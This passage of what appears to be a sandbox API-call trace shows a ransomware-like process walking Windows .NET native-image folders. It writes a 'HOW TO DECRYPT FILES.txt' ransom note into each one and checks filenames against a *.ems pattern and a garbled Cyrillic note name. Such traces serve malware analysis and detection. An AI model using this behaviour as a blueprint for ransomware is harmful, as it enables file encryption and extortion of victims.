lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.ni.dll") returned -1 [0106.903] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.ni.dll") returned -1 [0106.903] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\*.*") returned="*.*" [0106.903] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\" [0106.903] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\") returned="" [0106.903] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\HOW TO DECRYPT FILES.txt" [0106.903] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\how to decrypt files.txt")) returned 0xffffffff [0106.903] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.906] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\", lpString2="System.Windows.Forms.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" [0106.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll", pszSpec="*.ems") returned 0 [0106.907] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f769b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17f769b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a58c9f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xbdb600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Forms.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.907] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.907] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1bfbbc2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1bfbbc2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3afcd5168c7a6cb02eab99d7fd71e102", cAlternateFileName="3AFCD5~1")) returned 0 [0106.907] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.907] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8edefca2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8edefca2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Windows.Pres#", cAlternateFileName="SYSTEM~1.PRE")) returned 1 [0106.907] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.907] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Windows.Pres#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#" [0106.907] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8edefca2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8edefca2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.916] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8edefca2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8edefca2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.916] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8edefca2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8edefca2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fee2bbfe0b8f5988a3ab7a9db85c7a30", cAlternateFileName="FEE2BB~1")) returned 1 [0106.916] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\*.*") returned="*.*" [0106.916] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\", lpString2="fee2bbfe0b8f5988a3ab7a9db85c7a30" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30" [0106.916] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8edefca2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8edefca2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.917] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8edefca2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8edefca2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.917] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed7d881, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ed7d881, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ed7d881, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Presentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.917] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.917] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0106.917] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0106.917] lstrcmpiA (lpString1="", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0106.917] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\*.*") returned="*.*" [0106.917] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\" [0106.917] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\") returned="" [0106.917] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\HOW TO DECRYPT FILES.txt" [0106.917] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\how to decrypt files.txt")) returned 0xffffffff [0106.917] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.930] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\", lpString2="System.Windows.Presentation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\System.Windows.Presentation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\System.Windows.Presentation.ni.dll" [0106.930] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\System.Windows.Presentation.ni.dll", pszSpec="*.ems") returned 0 [0106.931] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed7d881, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ed7d881, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ed7d881, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Presentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.931] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.931] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8edefca2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8edefca2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fee2bbfe0b8f5988a3ab7a9db85c7a30", cAlternateFileName="FEE2BB~1")) returned 0 [0106.931] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.931] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x20206b61, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20206b61, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Workflow.Act#", cAlternateFileName="SYSTEM~1.ACT")) returned 1 [0106.931] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.931] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Workflow.Act#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#" [0106.931] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x20206b61, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20206b61, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x20206b61, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20206b61, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x20206b61, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20206b61, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b2a2c534c407bbe46e8536445d0ada50", cAlternateFileName="B2A2C5~1")) returned 1 [0106.932] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\*.*") returned="*.*" [0106.932] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\", lpString2="b2a2c534c407bbe46e8536445d0ada50" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50" [0106.932] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x20206b61, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20206b61, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.933] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x20206b61, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20206b61, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.933] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x200afeff, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x200afeff, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20148480, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2db400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.Activities.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.933] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.933] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0106.933] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0106.933] lstrcmpiA (lpString1="", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0106.933] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\*.*") returned="*.*" [0106.933] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\" [0106.933] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\") returned="" [0106.933] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\HOW TO DECRYPT FILES.txt" [0106.933] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflow.act#\\b2a2c534c407bbe46e8536445d0ada50\\how to decrypt files.txt")) returned 0xffffffff [0106.934] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflow.act#\\b2a2c534c407bbe46e8536445d0ada50\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.937] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\", lpString2="System.Workflow.Activities.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\System.Workflow.Activities.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\System.Workflow.Activities.ni.dll" [0106.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\System.Workflow.Activities.ni.dll", pszSpec="*.ems") returned 0 [0106.937] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x200afeff, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x200afeff, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20148480, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2db400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.Activities.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.937] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.937] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x20206b61, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x20206b61, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b2a2c534c407bbe46e8536445d0ada50", cAlternateFileName="B2A2C5~1")) returned 0 [0106.937] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.937] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x221dd1dc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x221dd1dc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Workflow.Com#", cAlternateFileName="SYSTEM~1.COM")) returned 1 [0106.938] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.938] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Workflow.Com#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#" [0106.938] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x221dd1dc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x221dd1dc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.970] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x221dd1dc, 